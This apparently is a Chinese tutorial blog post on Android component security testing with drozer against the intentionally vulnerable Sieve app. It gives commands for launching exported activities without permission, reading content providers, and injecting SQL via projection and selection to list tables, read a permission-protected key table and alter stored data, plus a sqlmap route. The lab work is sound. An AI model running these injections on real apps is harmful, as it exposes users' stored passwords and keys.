drozer的使用和Android组件安全

android有四大组件:Activity、Service、Content Provider、Broadcast Receiver

四大组件在配置文件AndroidManifest.xml中进行注册,通过反编译工具如apktool来读取配置文件信息。Activity、Service和Broadcast Receiver三大组件没有配置intent-filter的exported属性默认为false,配置了intent-filter的exported属性默认为true。

Content Provider不同于其他三个组件,不受intent-filter的影响,对于android:minSdkVersion 或 android:targetSdkVersion小于17时exported默认为true,对于这两个属性值为17及以上时,默认值则为false,需要显示声明exported为true,通过借助drozer对app的四大组件进行测试,大致步骤如下:

1、下载drozer直接安装即可:https://www.mwrinfosecurity.com/products/drozer/

2、将agent.apk安装到手机里,adb install agent.apk,打开app,开启Embedded Server

3、下载sieve用于练习使用drozer 

https://www.mwrinfosecurity.com/system/assets/380/original/sieve.apk

4、drozer启动方式①②③

普通模式,需要开启USB调试,通过数据线连接kali和手机

adb forward  tcp:31415  tcp:31415   //将pc端31415的所有数据转发到手机上的31415端口

drozer console connect   //使用drozer console 连接agent

drozer的使用和Android组件安全_第1张图片

使用wifi的正向连接方式,不需要开启USB调试:

drozer console connect --server 手机IP:port  

infrastructure mode(反向连接),适合网络环境比较复杂和多个android设备的情况下,不需要知道手机的IP,不需要开启USB调试。

开启kali虚拟机使用NAT模式,打开虚拟网络编辑器建立端口转发,在手机上安装agent,在agent上点击New Endpoint,host为宿主机的IP,端口默认31415

 输入 drozer server start

打开终端,查看设备:drozer console devices  (Device ID可以在agent上修改)

连接某一个设备 : drozer console connect mi2

drozer的使用和Android组件安全_第2张图片

注:如果server与console不同一电脑,连接某一设备:

drozer  console  connect  DeviceID  --server  ServerIP:port

5、获取手机上所有安装的app包名:run app.package.list  加上”-f [app关键字]”查找某个app,如 run app.package.list -f sieve

得到sieve的包名为com.mwr.example.sieve

6、获取sieve的基本信息 run app.package.info -a com.mwr.example.sieve

drozer的使用和Android组件安全_第3张图片

可以看到sieve的版本信息,数据存储目录,用户ID,组ID,共享库,权限等信息

7、查找攻击面,主要关注Android 固有的IPC通信机制的脆弱性,这些特点导致了这个App泄漏敏感信息给同一台设备上的其它App

run app.package.attacksurface  com.mwr.example.sieve

drozer的使用和Android组件安全_第4张图片

8、进一步获取每个组件的攻击面信息,如activity

run app.activity.info -a com.mwr.example.sieve

 drozer的使用和Android组件安全_第5张图片

其中. MainLoginActivity是app启动时的主界面,必须可以导出,但其他两个activity正常情况下是不能导出的

9、用drozer来启动可导出且不需要权限的activity

run  app.activity.start  --component  com.mwr.example.sieve  com.mwr.example.sieve.PWList

drozer的使用和Android组件安全_第6张图片

更多关于app.activity.start的使用方法:help app.activity.start

除了绕过权限启动其他activity外还有本地拒绝服务、界面劫持、UXSS等,可参考Android Activtity Security 

10、获取content provider的信息

run app.provider.info -a com.mwr.example.sieve

drozer的使用和Android组件安全_第7张图片

结合第7步收集的信息,这2个content provider都可导出,com.mwr.example.sieve.DBContentProvider/Keys 是需要读写权限的。

11、使用drozer的scanner模块去猜测可能存在的URIs

run scanner.provider.finduris -a com.mwr.example.sieve

drozer的使用和Android组件安全_第8张图片

12、通过URI从content中获取信息

run app.provider.query --vertical content://com.mwr.example.sieve.DBContentProvider/Passwords/ 

13、查找可进行sql注入的URIs(client-side-SQLi)

drozer的使用和Android组件安全_第9张图片

来自 Android app端的sql注入 

 、使用如下命令检测可注入的URI的注入点

run scanner.provider.injection  -a  com.mwr.example.sieve

drozer的使用和Android组件安全_第10张图片

可以看出Projection参数和Selection参数均存在注入

drozer的使用和Android组件安全_第11张图片

、使用projection参数传递sql注入语句到content provider中

run app.provider.query  content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

通过sql注入列出当前数据库DBContentProvider中的所有表名和字段名

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from sqlite_master where type='table';--" --vertical

drozer的使用和Android组件安全_第12张图片

虽然访问Keys这个URI需要READ_KEYS和WRITE_KEYS权限,但我们可以绕过权限来读取Key表的内容(不算真正的sql注入,DBcontentProvevider这个数据库本来就导出)

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from Key;--"

、使用selection 参数传递sql注入语句到content provider中

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

通过sql注入update数据库的内容,原来service的值为qwert

run app.provider.update content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "_id=1" --string service qazwsx

drozer的使用和Android组件安全_第13张图片

、使用WebContentResolver和sqlmap进行跨库注入

安装WebContentResolver用于将content provider映射到web,首先建立转发adb forward tcp:8080 tcp:8080,在浏览器里打开http://localhost:8080,构造URL

对于content://providers/Parameter1/Parameter2/../ ParameterN   Column:字段,如_id ,data:为字段数据   对应

http://localhost:8080/query?a=providers&path0=Parameter1&path1=Parameter2&pathn=parameterN&selName=column&selId=data

然后将此url用sqlmap进行注入。

参考Android app端的sql注入,安卓app的sql注入跨库查询问题,Android App Injection&&Drozer Use

14、Content Provider的文件目录遍历

 

文件遍历 http://jaq.alibaba.com/blog.htm?spm=0.0.0.0.ataWfQ&id=61

案例http://wooyun.org/bugs/wooyun-2014-075293

 

 

==============================================================================

广播接收器的安全 

 

service

补充完整这几部分后,所有关注里聚安全的博客不错(基础又详细),博客里的drozer,google搜索drozer,drozerPDF3篇,360播报教程里的4大组件,收藏资料里的四大组件漏洞

===================================

 

 

 

 

 

 

你可能感兴趣的:(drozer的使用和Android组件安全)